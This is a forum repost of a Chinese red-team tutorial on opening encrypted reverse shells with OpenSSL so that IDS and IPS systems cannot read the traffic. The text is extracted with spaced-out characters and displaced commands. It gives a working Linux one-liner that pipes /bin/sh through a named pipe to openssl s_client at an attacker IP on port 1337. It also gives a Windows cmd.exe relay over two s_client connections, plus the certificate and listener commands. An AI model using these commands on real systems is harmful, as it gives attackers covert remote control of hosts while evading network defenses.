搜索

[21214] 2020-08-26_使用OpenSSL反弹加密shell

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-08-26_使用OpenSSL反弹加密shell 使 用   O p e n S S L   反 弹 加 密   s h e l l L e m o n S e c   2 0 2 0 - 0 8 - 2 6 博 客 ： 博 客 ： H e y C o m p u t e r R e f e r r e n c e : h t t p s : / / x a x 0 0 7 . g i t h u b . i o / 2 0 1 9 - 0 3 - 0 7 - r e v e r s e - e n c r y p t e d - s h e l l - w i t h - o p e n s s l / 目 录 前 言 O p e n S S L   简 介 使 用   O p e n S S L   生 成 证 书 自 签 名 证 书 使 用   O p e n S S L   反 弹 加 密   s h e l l L i n u x W i n d o w s 使 用   O p e n S S L   搭 建 简 易   H T T P S   S e r v e r 参 考 链 接 1 .   前 言 前 言         在 进 行 红 队 渗 透 测 试 的 后 渗 透 阶 段 为 了 进 一 步 横 行 渗 透 往 往 需 要 反 弹   s h e l l ， 这 里 列 出 了 使 用 各 种 语 言 进 行 反 弹   s h e l l   的 方 法 ， 我 发 现 这 种 反 弹   s h e l l   方 式 都 有 一 个 缺 点 ， 那 就 是 所 有 的 流 量 都 是 明 文 传 输 的 所 有 的 流 量 都 是 明 文 传 输 的 。         我 们 使 用   n c   反 弹   s h e l l   进 行 测 试               使 用   w i r e s h a r k   可 以 直 接 看 到 我 们 执 行 的 命 令 和 返 回 信 息
        在 这 种 情 况 下 当 我 们 进 行 操 作 时 ， 网 络 防 御 检 测 系 统 ( I D S 、 I P S 等 ) 会 获 取 到 我 们 的 通 信 内 容 并 进 行 告 警 和 阻 止 ， 因 此 需 要 对 通 信 内 容 进 行 混 淆 或 加 密 ， 这 时 可 以 选 择 使 用   O p e n S S L   反 弹 一 个 加 密   s h e l l 。 2 .   O p e n S S L   简 介 简 介         在 计 算 机 网 络 上 ， O p e n S S L   是 一 个 开 放 源 代 码 的 软 件 库 包 ， 应 用 程 序 可 以 使 用 这 个 包 来 进 行 安 全 通 信 ， 避 免 窃 听 ， 同 时 确 认 另
一 端 连 接 者 的 身 份 利 用   O p e n S S L   反 弹   s h e l l   之 前 需 要 生 成 自 签 名 证 书 使 用   O p e n S S L   生 成 证 书 自 签 名 证 书 生 成 自 签 名 证 书 时 会 提 示 输 入 证 书 信 息 ， 如 果 懒 得 填 写 可 以 一 路 回 车 3 .   使 用 使 用   O p e n S S L   反 弹 加 密 反 弹 加 密   s h e l l 3 . 1     L i n u x             假 设 我 们 从   A   主 机 反 弹   s h e l l   到   B   主 机             首 先 需 用 利 用 上 一 步 生 成 的 自 签 名 证 书 ， 在   B   主 机 上 使 用   O p e n S S L   监 听 一 个 端 口 ， 在 这 里 使 用   1 3 3 7   端 口 命 令 为 ：           此 时   O p e n S S L   在   1 3 3 7   端 口 上 启 动 了 一 个   S S L / T L S   s e r v e r           这 时 在   B   主 机 进 行 反 弹   s h e l l   操 作 ， 命 令 为 ：           这 样 就 使 用   O p e n S S L   反 弹 了 一 个 加 密 的   s h e l l           效 果 如 下 ： o p e n s s l   r e q   - x 5 0 9   - n e w k e y   r s a : 2 0 4 8   - k e y o u t   k e y . p e m   - o u t   c e r t . p e m   - d a y s   3 6 5   - n o d e s - - - - - - - - - - - - - - - - - -                                     - - - - - - - - - - - - - - - - - - - - - - |   A : 1 7 2 . 1 6 . 1 . 1 7 5   |     - - -   s h e l l   - - - >   |   B : 1 7 2 . 1 6 . 1 . 1 7 4 : 1 3 3 7   | - - - - - - - - - - - - - - - - - -                                     - - - - - - - - - - - - - - - - - - - - - - o p e n s s l   s _ s e r v e r   - q u i e t   - k e y   k e y . p e m   - c e r t   c e r t . p e m   - p o r t   1 3 3 7 m k f i f o   / t m p / s ;   / b i n / s h   - i   <   / t m p / s   2 > & 1   |   o p e n s s l   s _ c l i e n t   - q u i e t   - c o n n e c t   1 7 2 . 1 6 . 1 . 1 7 4 : 1 3 3 7   >   / t m p / s ;   r m   / t m p / s
3 . 2   W i n d o w s         在   W i n d o w s   系 统 上 反 弹 加 密   s h e l l   的 方 式 有 点 不 一 样         具 体 命 令 如 下 ：         以 上 命 令 会 从 获 取 命 令 发 送 给 执 行 ， 然 后 把 结 果 返 回 到           因 此 在 本 机 需 要 启 动 两 个         从 发 送 命 令 到   c m d         从 获 取 发 送 给 的 命 令 执 行 结 果         O p e n S S L   还 有 很 多 功 能 ， 这 里 详 细 的 列 出 了   O p e n S S L   的 常 见 使 用 方 法         在 渗 透 测 试 时 ， 还 可 以 使 用   O p e n S S L   搭 建 简 易   H T T P S   S e r v e r o p e n s s l   s _ c l i e n t   - q u i e t   - c o n n e c t   [ i p ] : [ p o r t 1 ]   |   c m d . e x e   |   o p e n s s l   s _ c l i e n t   - q u i e t   - c o n n e c t   [ i p ] : [ p o r t 2 ] [ i p ] : [ p o r t 1 ] c m d . e x e [ i p ] : [ p o r t 2 ] s _ s e r v e r p o r t 1 o p e n s s l   s _ s e r v e r   - q u i e t   - k e y   [ k e y f i l e ]   - c e r t   [ c e r t ]   - p o r t   [ p o r t 1 ]   p o r t 2 p o r t 1 o p e n s s l   s _ s e r v e r   - q u i e t   - k e y   [ k e y f i l e ]   - c e r t   [ c e r t ]   - p o r t   [ p o r t 2 ]
4 .   使 用 使 用   O p e n S S L   搭 建 简 易 搭 建 简 易   H T T P S   S e r v e r           使 用 以 下 命 令 前 需 要 使 用   O p e n S S L   生 成 证 书 自 签 名 证 书 ， 命 令 在 上 文 中 已 给 出             以 上 命 令 在   4 4 3 3 0   端 口 启 动 了 一 个   H T T P S   S e r v e r 参 考 链 接 参 考 链 接 R e v e r s e   S h e l l   w i t h   O p e n S S L C r e a t e   a   s i m p l e   H T T P S   s e r v e r   w i t h   O P E N S S L   S _ S E R V E R O p e n S S L   = =   N C 原 文 链 接 ： h t t p s : / / w w w . c n b l o g s . c o m / h e y c o m p u t e r / a r t i c l e s / 1 0 6 9 7 8 6 5 . h t m l 如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” o p e n s s l   s _ s e r v e r   - k e y   k e y . p e m   - c e r t   c e r t . p e m   - a c c e p t   4 4 3 3 0   - W W W
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理